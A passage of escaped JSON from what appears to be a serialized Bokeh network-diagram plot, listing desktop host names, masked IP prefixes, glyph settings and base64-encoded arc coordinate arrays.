\"7\\\",\\\"8\\\",\\\"9\\\",\\\"10\\\",\\\"11\\\",\\\"12\\\",\\\"13\\\",\\\"14\\\",\\\"15\\\",\\\"16\\\",\\\"17\\\",\\\"18\\\",\\\"19\\\",\\\"20\\\",\\\"21\\\",\\\"22\\\",\\\"23\\\",\\\"24\\\",\\\"25\\\",\\\"26\\\",\\\"27\\\",\\\"28\\\",\\\"29\\\",\\\"30\\\",\\\"31\\\",\\\"32\\\",\\\"33\\\",\\\"34\\\",\\\"35\\\",\\\"36\\\",\\\"37\\\",\\\"38\\\"],\\\"name\\\":[\\\"desktop-86k4hcq\\\",\\\"desktop-dq4vbol\\\",\\\"desktop-rhp79j0\\\",\\\"desktop-4mah00a\\\",\\\"desktop-0qf81kv\\\",\\\"93.184.*.*\\\",\\\"13.107.*.*\\\",\\\"2.18.*.*\\\",\\\"8.250.*.*\\\",\\\"8.249.*.*\\\",\\\"205.185.*.*\\\",\\\"88.221.*.*\\\",\\\"104.18.*.*\\\",\\\"23.9.*.*\\\",\\\"104.81.*.*\\\",\\\"40.112.*.*\\\",\\\"172.226.*.*\\\",\\\"23.54.*.*\\\",\\\"8.252.*.*\\\",\\\"67.26.*.*\\\",\\\"204.79.*.*\\\",\\\"23.206.*.*\\\",\\\"118.215.*.*\\\",\\\"23.62.*.*\\\",\\\"98.137.*.*\\\",\\\"91.199.*.*\\\",\\\"23.35.*.*\\\",\\\"40.77.*.*\\\",\\\"151.101.*.*\\\",\\\"23.50.*.*\\\",\\\"184.25.*.*\\\",\\\"23.215.*.*\\\",\\\"8.253.*.*\\\",\\\"72.21.*.*\\\",\\\"23.195.*.*\\\",\\\"67.27.*.*\\\",\\\"95.100.*.*\\\",\\\"72.246.*.*\\\",\\\"81.218.*.*\\\"]},\\\"selected\\\":{\\\"id\\\":\\\"1133\\\",\\\"type\\\":\\\"Selection\\\"},\\\"selection_policy\\\":{\\\"id\\\":\\\"1132\\\",\\\"type\\\":\\\"UnionRenderers\\\"}},\\\"id\\\":\\\"1076\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},{\\\"attributes\\\":{\\\"fill_alpha\\\":{\\\"value\\\":0.2},\\\"fill_color\\\":{\\\"field\\\":\\\"index_str__\\\",\\\"transform\\\":{\\\"id\\\":\\\"1074\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"}},\\\"line_alpha\\\":{\\\"value\\\":0.2},\\\"size\\\":{\\\"units\\\":\\\"screen\\\",\\\"value\\\":15}},\\\"id\\\":\\\"1094\\\",\\\"type\\\":\\\"Circle\\\"},{\\\"attributes\\\":{\\\"angle\\\":{\\\"field\\\":\\\"angle\\\",\\\"units\\\":\\\"rad\\\"},\\\"text_baseline\\\":\\\"middle\\\",\\\"text_color\\\":{\\\"value\\\":\\\"black\\\"},\\\"text_font_size\\\":{\\\"value\\\":\\\"8pt\\\"},\\\"x\\\":{\\\"field\\\":\\\"x\\\"},\\\"y\\\":{\\\"field\\\":\\\"y\\\"}},\\\"id\\\":\\\"1088\\\",\\\"type\\\":\\\"Text\\\"},{\\\"attributes\\\":{\\\"callback\\\":null},\\\"id\\\":\\\"1063\\\",\\\"type\\\":\\\"TapTool\\\"},{\\\"attributes\\\":{\\\"line_color\\\":{\\\"field\\\":\\\"source_str__\\\",\\\"transform\\\":{\\\"id\\\":\\\"1075\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"}},\\\"xs\\\":{\\\"field\\\":\\\"xs\\\"},\\\"ys\\\":{\\\"field\\\":\\\"ys\\\"}},\\\"id\\\":\\\"1099\\\",\\\"type\\\":\\\"MultiLine\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1062\\\",\\\"type\\\":\\\"ResetTool\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1134\\\",\\\"type\\\":\\\"UnionRenderers\\\"},{\\\"attributes\\\":{\\\"line_alpha\\\":{\\\"value\\\":0.1},\\\"line_color\\\":{\\\"field\\\":\\\"index_str__\\\",\\\"transform\\\":{\\\"id\\\":\\\"1074\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"}},\\\"line_width\\\":{\\\"value\\\":10},\\\"xs\\\":{\\\"field\\\":\\\"arc_xs\\\"},\\\"ys\\\":{\\\"field\\\":\\\"arc_ys\\\"}},\\\"id\\\":\\\"1081\\\",\\\"type\\\":\\\"MultiLine\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"data\\\":{\\\"arc_xs\\\":[{\\\"__ndarray__\\\":\\\"AAAAAAAA8D8i77qKlP/vP19wvS1S/u8/TYx88Tj87z93ZxDkSPnvP7HjMxmC9e8/lBtEquTw7z8tuD+2cOvvP8ogxmEm5e8/CYUW1wXe7z8cwQ5GD9bvP0ocKuRCze8/wuF/7KDD7z+/08GfKbnvPwd5OkTdre8/1UTLJbyh7z86meqVxpTvPwOkoev8hu8/KRaKg1947z/otcu/7mjvPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"6LXLv+5o7z/iaLDJlEfvPysbQonyIu8/Q5ag1gv77j+bybHh5M/uP0lPsTGCoe4/mMa2pOhv7j82ETNvHTvuP7yAZBsmA+4/PQPCiAjI7T9tXl3ryontPweKPMtzSO0/0TqqAwoE7T/GsH3ClLzsP5vbWYcbcuw/+enjIqYk7D9/WPG1PNTrP46WrbDngOs/31e30a8q6z+WqjUlntHqPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"lqo1JZ7R6j8jzfmYo0DpP/FXYziugec/zZgm1uuX5T93sIIz2IbjPyP+i6g2UuE/5wE6lBb83T+09c4zJx3ZP9+A7Jt9ENQ/pwy69pa+zT+PsxAMCibDP0JA9/g+1bA/anuJvPEAk7+r67pQEU26vyUuTE4B1ce/hhZynQos0b+FPztBUE7Wv27l84r4R9u/FvpJM/oH4L9BFheZx07ivw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"QRYXmcdO4r9enjIijpLiv9TGF+/X1eK/SdfbO6MY479or+VH7lrjv76L+VW3nOO/97NErPzd4781EmmUvB7kvzSziFv1XuS/6C5RUqWe5L9N+QbNyt3kvyGbkCNkHOW/JtKBsW9a5b/QmCbW65flv9wUjvTW1OW/tGyVcy8R5r83g/K980zmv7mZPkIiiOa/4NcAc7nC5r8aubjGt/zmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"Grm4xrf85r8b31hCmt7nv/O3bhh4tui/79NXr/aD6b/F8tzHv0bqv93BZKGB/uq/cq9DHO+q67/Iaxrav0vsv6WCNVyw4Oy/mU3hH4Jp7b9vW6a4++Xtv8FJY+joVe6/Z/M5tRq57r+Uv0Z9Zw/vv4jLGQirWO+/O5nqlcaU77/C4X/soMPvv8ogxmEm5e+/eGcQ5Ej5778AAAAAAADwvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"AAAAAAAA8L8G0vT2QP/vvwkwvOQD/e+/d2cQ5Ej5778f7HshEPTvv2FEV9tZ7e+/ySDGYSbl7789n7MWdtvvv9m5zW1J0O+/wuF/7KDD778qxuwpfbXvv85H587epe+/OpnqlcaU779KjBFLNYLvvy8NDcwrbu+/h8sZCKtY77/vEfX/s0Hvv53M0MVHKe+/k79GfWcP77//7EpbFPTuvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"/+xKWxT07r9qLB2mT9fuv2XzObUaue6/bVBK8XaZ7r+2GBPUZXjuv79JY+joVe6/a58BygEy7r96X5klsgzuv2xbprj75e2/filgUeC97b/0laTOYZTtv5lN4R+Cae2/bML8REM97b+8Sz5Opw/tv6SCNVyw4Oy/JNygn2Cw7L8KglNZun7sv8drGtq/S+y/mriggnMX7L8/TFPD1+Hrvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"P0xTw9fh679/WPG1PNTrv5oMJ+SMxuu/aBsrWMi4679xr0Mc76rrv0ZjxjoBneu/0zkYvv6O67+Mlq2w54Drv7Q1Ch28cuu/dSTBDXxk67/+uHSNJ1brv5+K1qa+R+u/v2mnZEE567/dV7fRryrrv4J/5fgJHOu/Giwg5U8N67/awWShgf7qv3u1vzif7+q/CIRMtqjg6r+UqjUlntHqvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"lKo1JZ7R6r/IYaSKBqTqv4nq5AO8deq/wvLcx79G6r8yqxsSExfqvxCA0SK35um/o7LHPq216b/u01ev9oPpv70gY8KUUem/Rb9Jyoge6b+P3uEd1Orov++3bhh4tui/xnKXGXaB6L+76l2Fz0vov8BYFcSFFei/GN9YQpre57+U+AFxDqfnv13LHsXjbue/al/otxs2578WubjGt/zmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"Frm4xrf85r+YOwJJH9bmv2Zo2aBCr+a/tZk+QiKI5r9pSPyhvmDmv2ivpTUYOea/sGyVcy8R5r/7H+zSBOnlv0IHj8uYwOW/yJgm1uuX5b/+Gh1s/m7lvwU6nQfRReW/GpuQI2Qc5b+lbZ47uPLkvyj6KczNyOS/4S5RUqWe5L91KutLP3TkvynEhjecSeS/LhJplLwe5L/M7YvioPPjvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"zO2L4qDz47+2i/lVt5zjvxu8hJ/jROO/c3XO1yns4r9WnjIijpLiv++klqwUOOK/s5g3r8Hc4b/DyHdsmYDhvwPpqzCgI+G/XsDnUdrF4L/1YsovTGfgvwr6STP6B+C/Mzn+nNFP379ndd/4OI7evxA9s4Ezy92/Mgr5T8oG3b+5oseMBkHcvx25X3Hxedu/j8u9RpSx2r9IRytl+OfZvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"SEcrZfjn2b+tVnLftYLZv6f1zjMnHdm/lShmkU232L9dtzwoKlHYvx2iMym+6te/S5MExgqE17+5Tj4xER3Xv/oeQZ7Stda/ez87QVBO1r/ERCVPi+bVv2WCvv2EftW/BW6Jgz4W1b+wAMgXua3Uv/IVePL1RNS/IMhPTPbb079my7leu3LTv9LF0WNGCdO/56Vglpif0r8w99gxszXSvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"MPfYMbM10r9FNFNyl8vRv3YXipRGYdG/iOnW1cH20L8Wzi10CozQv6kOGq4hIdC/Hsh0hRFsz7/BenrjgZXOv30MuvaWvs2/D9W4QFPnzL8kMgVEuQ/Mv7MJL4TLN8u/REjAhYxfyr9aXTXO/obJvxm19eMkrsi/5y1MTgHVx79FjV+VlvvGvz7wKkLnIca/ljp23vVHxb+Yg870xG3Evw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"mIPO9MRtxL/mrD95lQDEv3d/fhBXk8O/dLMQDAomw7+c54a9rrjCv+JkfHZFS8K/zeCWiM7dwb8CQYZFSnDBvzZeBP+4AsG/LcfUBhuVwL+Yg8SucCfAvw+vU5F0c7+/OwvITPCXvr/gJLYzVby9v50O/+mj4Ly/MmqUE90EvL/r7XdUASm7vz7rulARTbq/19J9rA1xub8ju+8L95S4vw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"I7vvC/eUuL+J5U0Tzri3v9dD42aT3La/rf0Hq0cAtr+T9SCE6yO1v1JPn5Z/R7S/t/P/hgRrs7/aFsv5eo6yvw69k5PjsbG/G0D3+D7VsL86qDmdG/Gvv1YbanKhN66/3cryuhB+rL9ufFfAasSqv5LTK8ywCqm/w1sSKORQp7/2kbsdBpelv5Lw5PYX3aO/XPZX/Rojor9hMul6EGmgvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"YTLpehBpoL+kmu5y812dv7Qm1AWw6Zm/3PtiQll1lr8weom88QCTv+EMhRD4GI+/GS8nc/UviL8unBXJ4EaBv+Ua9HR+u3S/t9k+fK+kW78Y8z58r6RbPz0h9HR+u3Q/Wp8VyeBGgT9FMidz9S+IPw0QhRD4GI8/xnuJvPEAkz9y/WJCWXWWP0oo1AWw6Zk/OpzucvNdnT8sM+l6EGmgPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"LDPpehBpoD8n91f9GiOiP13x5PYX3aM/wZK7HQaXpT+NXBIo5FCnP1zUK8ywCqk/OX1XwGrEqj+oy/K6EH6sPyEcanKhN64/Bak5nRvxrz+AQPf4PtWwP3S9k5PjsbE/PxfL+XqOsj8d9P+GBGuzP7dPn5Z/R7Q/+PUghOsjtT8S/gerRwC2PzxE42aT3LY/7uVNE864tz+Iu+8L95S4Pw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"iLvvC/eUuD88032sDXG5P6PrulARTbo/UO53VAEpuz+XapQT3QS8PwIP/+mj4Lw/RSW2M1W8vT+fC8hM8Je+P3SvU5F0c78/yoPErnAnwD9gx9QGG5XAP2leBP+4AsE/NEGGRUpwwT//4JaIzt3BPxRlfHZFS8I/zueGva64wj+msxAMCibDP6l/fhBXk8M/GK0/eZUAxD/Kg870xG3EPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yoPO9MRtxD8db7Ax5drEP8g6dt71R8U/oE+8qfa0xT9w8CpC5yHGPzJ2dlbHjsY/d41flZb7xj+GcrOtVGjHPxkuTE4B1cc/59EQJpxByD9LtfXjJK7IP0Cx/DabGsk/jF01zv6GyT+vTL1YT/PJP1ZIwIWMX8o/tY14BLbLyj/lCS+EyzfLP6mVO7TMo8s/VTIFRLkPzD98RQLjkHvMPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"fEUC45B7zD8h1bhAU+fMP87DvgwAU80/jwy69pa+zT8M/2CuFyrOP/N6euOBlc4/kyzeRdUAzz8xyHSFEWzPP+hFOFI2188/sg4ariEh0D/WwMIpnFbQPx/OLXQKjNA/sOR7ZWzB0D+R6dbVwfbQP3gWcp0KLNE/fxeKlEZh0T/dKGWTdZbRP040U3KXy9E/Ee+tCawA0j8599gxszXSPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"OffYMbM10j9V8UHDrGrSP/ClYJaYn9I/Fx+3g3bU0j/bxdFjRgnTP4l/Rw8IPtM/b8u5Xrty0z/739QqYKfTPynIT0z229M/0IDsm30Q1D/7FXjy9UTUP++/yihfedQ/uQDIF7mt1D8pwV6YA+LUP/9tiYM+FtU/ERVOsmlK1T9ugr79hH7VPy1d+D6QstU/zUQlT4vm1T/17XoHdhrWPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"9e16B3Ya1j90PztBUE7WPy1vtNUZgtY/9B5BntK11j90eUh0eunWP8JOPjERHdc/fDGjrpZQ1z9FkwTGCoTXP4fh/FBtt9c/F6IzKb7q1z/mj10o/R3YP1e3PCgqUdg/H5OgAkWE2D+PKGaRTbfYPxMkeK5D6tg/ofXOMycd2T8n7XD790/ZP6dWct+1gtk/3Jb1uWC12T9CRytl+OfZPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"QkcrZfjn2T9YUlK7fBraP9MPuJbtTNo/uWC40Up/2j+Jy71GlLHaPxGYQdDJ49o/vuvLSOsV2z9e5fOK+EfbPxe5X3Hxeds/R8zE1tWr2z9n0eeVpd3bP5bjnIlgD9w/s6LHjAZB3D/QTlt6l3LcP+rjWi0TpNw/fjXZgHnV3D8sCvlPygbdP/w27XUFON0/K7v4zSpp3T9d224zOprdPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"XdtuMzqa3T8KPbOBM8vdP84BOpQW/N0/sOKHRuMs3j9sSzJ0mV3eP2F13/g4jt4/DYNGsMG+3j/lmi92M+/eP2gCdCaOH98/Hzn+nNFP3z+TE8q1/X/fP/jV5EwSsN8/VE9tPg/g3z8H+kkz+gfgP1t8zdDgH+A/VjbrZbs34D9pKtbgiU/gP/Jiyi9MZ+A/qf8MQQJ/4D+6QuwCrJbgPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ukLsAqyW4D8Jnr9jSa7gP1XA51HaxeA/aKLOu17d4D84lOeP1vTgP+dJr7xBDOE/+eirMKAj4T9LFW3a8TrhPxX+i6g2UuE/7mqriW5p4T/AyHdsmYDhP6Q2pz+3l+E/6JL58ceu4T/bhzhyy8XhP6mYN6/B3OE/Ky7Ul6rz4T+2o/UahgriP8lTjSdUIeI/5qSWrBQ44j8zFheZx07iPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"MxYXmcdO4j8nTB7cbGXiPy8dxmQEfOI/TJ4yIo6S4j+tL5IDCqniPyKJHfh3v+I/xsYX79fV4j9qdc7XKeziPwifmaFtAuM/ONfbO6MY4z+XRwKWyi7jPxK8hJ/jROM/Wq/lR+5a4z8jV7J+6nDjP2iwgjPYhuM/rYv5Vbec4z88mcTVh7LjPzh1nKJJyOM/6rNErPzd4z/E7YvioPPjPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"xO2L4qDz4z9+y0s1NgnkPyUSaZS8HuQ/HK/T7zM05D8gxIY3nEnkPyeziFv1XuQ/bCrrSz905D88MMv4eYnkP9guUVKlnuQ/RQCxSMGz5D8g+inMzcjkP0D5Bs3K3eQ/nW2eO7jy5D/eZVIIlgflPw6bkCNkHOU/N3zSfSIx5T/8OZ0H0UXlPxbSgbFvWuU/8xodbP5u5T8fzxcofYPlPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"H88XKH2D5T+9mCbW65flP+4cCmdKrOU/MwePy5jA5T/NFI701tTlP/Af7NIE6eU/LyuaVyL95T+ibJVzLxHmPxxZ5xcsJeY/W6+lNRg55j8og/K980zmP15I/KG+YOY/Gt790nh05j+nmT5CIojmP4VREuG6m+Y/VWjZoEKv5j/R1wBzucLmP447Akkf1uY/99tjFHTp5j8IubjGt/zmPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"CLm4xrf85j8SlaBR6g/nP3b/x6YLI+c/Wl/otxs25z9S/sd2GknnP+cSOtUHXOc/T8sexeNu5z/gV2M4roHnP5X1ASFnlOc/hfgBcQ6n5z9Y1ncapLnnP5EwhQ8ozOc/C99YQpre5z8w+i6l+vDnP0jlUCpJA+g/sFgVxIUV6D8WbOBksCfoP4agI//IOeg/rupdhc9L6D/YvBvqw13oPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"2Lwb6sNd6D+3cpcZdoHoP6ahCSPfpOg/lIG/nP7H6D9+3uEd1OroP1VRdj5fDek/R3Zgl58v6T+xIGPClFHpPx+MIVo+c+k/BYsg+puU6T+Yssc+rbXpPw+EYsVx1uk/YZMhLOn26T8mqxsSExfqP9ntThfvNuo/hPSh3HxW6j9+6uQDvHXqP6+m0i+slOo/6sERBE2z6j+KqjUlntHqPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"iqo1JZ7R6j/9g0y2qODqP261vzif7+o/zcFkoYH+6j8SLCDlTw3rP3h/5fgJHOs/01e30a8q6z+zaadkQTnrP5OK1qa+R+s/8rh0jSdW6z9rJMENfGTrP6s1Ch28cus/gpatsOeA6z/HORi+/o7rPzpjxjoBnes/ZK9DHO+q6z9fGytYyLjrP5AMJ+SMxus/c1jxtTzU6z80TFPD1+HrPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"NExTw9fh6z9RtCUCXu/rPzPkUGjP/Os/sL3M6ysK7D+RuKCCcxfsP+7p4yKmJOw/rgu9wsMx7D/Qg2JYzD7sP7trGtq/S+w/g5c6Pp5Y7D8hnSh7Z2XsP5DbWYcbcuw//4FTWbp+7D/clqrnQ4vsP9b+Aym4l+w/34MUFBek7D8c3KCfYLDsP7uwfcKUvOw/4aSPc7PI7D9lXMupvNTsPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"ZVzLqbzU7D+YgjVcsODsP/PQ4oGO7Ow/wxX4EVf47D/HOqoDCgTtP7JLPk6nD+0/xHwJ6S4b7T8zMXHLoCbtP5wB6+z8Me0/YML8REM97T/9iTzLc0jtP0e3UHeOU+0/t/fvQJNe7T+OTeEfgmntP/kV/AtbdO0/Kg8o/R1/7T9kXl3ryontP+uVpM5hlO0/D7sWn+Ke7T/9S91UTantPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"/UvdVE2p7T+iRTLoobPtP3MpYFHgve0/MQPCiAjI7T+fbsOGGtLtPyGd4EMW3O0/Y1umuPvl7T/jFrLdyu/tP3PjsauD+e0/sYBkGyYD7j9yX5klsgzuPxmnMMMnFu4/8Tob7YYf7j9tv1qczyjuP2CfAcoBMu4/KxEzbx077j/ZGyOFIkTuPy2cFgURTe4/t0lj6OhV7j+9u28oql7uPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"vbtvKKpe7j8xbrO+VGfuP47GtqTob+4/rBgT1GV47j+Jq3JGzIDuP/q9kPUbie4/aIs521SR7j9jUErxdpnuPz9PsTGCoe4/ltRtlnap7j/IO5AZVLHuP13zObUaue4/eoGdY8rA7j8kiP4eY8juP5LJseHkz+4/YSwdpk/X7j/Lv7dmo97uP7q/CR7g5e4/7ZisxgXt7j/37EpbFPTuPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"9+xKWxT07j86lqDWC/vuP9WrejPsAe8/ioW3bLUI7z+Mv0Z9Zw/vP0g+KWACFu8/IjJxEIYc7z8jG0KJ8iLvP5XM0MVHKe8/nXBjwYUv7z+8i1F3rDXvP0oABOO7O+8/6BH1/7NB7z/baLDJlEfvP18V0zteTe8/8JILUhBT7z+CyxkIq1jvP6Yaz1kuXu8/uFAOQ5pj7z/htcu/7mjvPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"4bXLv+5o7z8pDQ3MK27vP2OX6WNRc+8/IhaKg1947z+SzignVn3vP0SMEUs1gu8//aOh6/yG7z9k9kcFrYvvP6zyhJRFkO8/NJnqlcaU7z8UfhwGMJnvP5zLz+GBne8/z0TLJbyh7z/IR+fO3qXvPxXQDdrpqe8/AXk6RN2t7z/cf3oKubHvPybG7Cl9te8/utPBnym57z/o2DtpvrzvPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"6Ng7ab687z97sK6DO8DvP73hf+ygw+8/Z6Imoe7G7z+E2CufJMrvP0UcKuRCze8/1bnNbUnQ7z8Js9Q5ONPvPxjBDkYP1u8/OVZdkM7Y7z86n7MWdtvvPwaFFtcF3u8/IK6cz33g7z8RgG7+3eLvP8YgxmEm5e8/53fv91bn7z8VMEi/b+nvPyq4P7Zw6+8/XkRX21nt7z9qzyEtK+/vPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"as8hLSvv7z+SG0Sq5PDvP66zdFGG8u8/Hex7IRD07z+v4zMZgvXvP3yEiDfc9u8/uoR3ex747z92ZxDkSPnvP0t9dHBb+u8/CeXWH1b77z9MjHzxOPzvPwgwvOQD/e8/CF3++Lb97z9ecL0tUv7vP8iXhYLV/u8/BtL09kD/7z8h77qKlP/vP6yQmT3Q/+8/7SlkD/T/7z8AAAAAAADwPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]}],\\\"arc_ys\\\":[{\\\"__ndarray__\\\":\\\"AAAAAAAAAACXhzINbbuEP63dg24nu5Q/MbfkGg0Ynz9C6kP5ELqkP5Th2TCQ56k/5HH+bWEUrz/AIIb3MCCyPz3t63u3tbQ/yHlM6bJKtz8px2noEd+5PxByICbDcrw/EA7cU7UFvz/8sAWU68vAP0NBSq+LFMI/LGSkXLJcwz8cTywAV6TEPzeSYwFx68U/O9Nuy/cxxz/ab0/N4nfIPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"2m9PzeJ3yD+m4T5JwwHLP7W6AkPOiM0/NN9G6l8G0D95Uoo1qkbRP56xEmckhdI/3ntaE63B0z9TfxEDI/zUP4komTZlNNY/8fl66VJq1z8oztiVy53YP6mI1veuztk/UNn8EN382j+ot5QrNijcP947+92aUN0/7XvtDex13j91FMzzCpjfP9IC645sW+A/okatORzp4D8m1PCbBXXhPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"JtTwmwV14T8jRDlroafjPxgiy59ztuU/BdL0/Lyd5z+NzhFCBlrpP3uTDXom6Oo/DStXvEhF7D/yactU8W7tPyOMMkkCY+4/z6IVNL8f7z8Y/+Zt0KPvP5hIvH5F7u8/jOwm1Jb+7z+wqg24ptTvP+LIxYbBcO8/4mwJJJ3T7j8xRcivV/7tP7aGLX118uw/o9ePT96x6z+Lk1Li2T7qPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"i5NS4tk+6j9orfPhDw/qP6bv292W3uk/zuuXG3Ct6T+fFEPlnHvpPwEVf4keSek/mAhrW/YV6T8ulpqyJeLoPzHsDOutreg/hp8jZZB46D/ebJmFzkLoP+HceLVpDOg/bssSYmPV5z8D0vT8vJ3nP9WV3/t3Zec/nvm82JUs5z+BM5YRGPPmPz7HiSgAueY/9GTBo09+5j/BrGcNCEPmPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"waxnDQhD5j+ZxIJZIlDlP3gJ/a5KVOQ/FNPgwOpP4z9OPPfWb0PiP/uT6p9KL+E/eUr7Ae8T4D9qa7bUp+PdP88rhzbmkts/MJy18ZE22T8Yhv6pqM/WP0mUGnQsX9Q/sP1saSPm0T+m6AR0LsvOPyMGHXopvck/F08sAFekxD8LDtxTtQW/Pxzt63u3tbQ/C+pD+RC6pD/90XXm7Cy3vA==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"/dF15uwst7xgt+5VeaSLvzmUalDUo5u/aOpD+RC6pL8RxnBRQKGrv63ph+KSQ7G/S+3re7e1tL8S6lzQ5Ca4v4uu28bxlru/GQ7cU7UFv7/SeJc9gznBv2zY9She78K/Hk8sAFekxL+TVulhWVjGv+0NWvhQC8i/OgYdeim9yb9leTSrzm3Lvz/i910sHc2/vegEdC7Lzr/yy5dv4DvQvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"8suXb+A70L9S6TjRZxHRv7v9bGkj5tG/BGI8TAm60r9MDaeXD43Tv1SUGnQsX9S/XaznFFYw1b9WLLe4ggDWvyOG/qmoz9a/crNzP76d178AkIDcuWrYvzOctfGRNtm/7yI8/TwB2r/TvEeLscrav9Irhzbmktu/MoqUqNFZ3L/5xmSaah/dv21rttSn492/2KN/MICm3r+jhluX6mffvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"o4Zbl+pn3791FMzzCpjfv8e+mLwTyN+/4yPpzQT43796SvsB7xPgv1MYhp3PK+C/2X7DJ6RD4L/VAuuObFvgv6Y3PcEoc+C/mcwDrdiK4L8RmpFAfKLgv7SuQmoTuuC/p1x8GJ7R4L+lRq05HOngvxVtTbyNAOG/MTvejvIX4b8AlOqfSi/hv2/fBt6VRuG/SRfRN9Rd4b8o1PCbBXXhvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"KNTwmwV14b9jfW5ZS7rhv3dzJQca/+G/Uzz31m9D4r+yH/H9Sofiv3gxWLSpyuK/bka1NYoN478V0+DA6k/jvzq0DpjJkeO//uDZACXT478EBlBE+xPkv3wJ/a5KVOS/pXf2kBGU5L+s1+Y9TtPkv2HoGA3/EeW/ncSCWSJQ5b8E79CBto3lv9REcei5yuW/gNed8yoH5r/FrGcNCEPmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"xaxnDQhD5r/O7snRnWrmv11boKzwkea/QseJKAC55r+sIO7Qy9/mvzrL/zFTBue/ofm82JUs578DBfFSk1Lnv8LBNS9LeOe/CtL0/Ly